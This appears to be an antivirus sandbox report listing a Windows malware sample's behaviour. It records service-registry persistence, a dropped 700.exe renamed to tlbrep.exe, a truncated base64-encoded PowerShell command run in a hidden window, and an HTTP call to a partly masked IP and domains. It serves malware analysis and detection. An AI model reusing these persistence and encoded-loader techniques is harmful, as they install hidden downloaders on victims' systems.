Technical Information
- [<HKLM>\System\CurrentControlSet\Services\tlbrep] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\tlbrep] 'ImagePath' = '"%WINDIR%\SysWOW64\tlbrep.exe"'
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABWAGoAZABzAHUAbABmAGgAeABiAGEAPQAnAFUAbgBiAGQAZQBnAG8AYwBvAHMAJwA7ACQAVQB6AGgAYgB0AG4AbgB0AGYAawB6AGEAZwAgAD0AIAAnADcAMAAwACcAOwAkAE4AcwByAGUAbwBnAGUAZQBnAGUAPQAnAE4AbQBvAHMAawBhAHQAcgA...
- %HOMEPATH%\700.exe
- from %HOMEPATH%\700.exe to %WINDIR%\syswow64\tlbrep.exe
- http://18#.##2.102.40:8080/prep/ via 18#.#52.102.40
- DNS ASK th####ritwell.ca
- DNS ASK ke###.com.tw
- DNS ASK ea###ere.com.ng
- '%HOMEPATH%\700.exe'
- '%WINDIR%\syswow64\tlbrep.exe'
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABWAGoAZABzAHUAbABmAGgAeABiAGEAPQAnAFUAbgBiAGQAZQBnAG8AYwBvAHMAJwA7ACQAVQB6AGgAYgB0AG4AbgB0AGYAawB6AGEAZwAgAD0AIAAnADcAMAAwACcAOwAkAE4AcwByAGUAbwBnAGUAZQBnAGUAPQAnAE4AbQBvAHMAawBhAHQAcgA...' (with hidden window)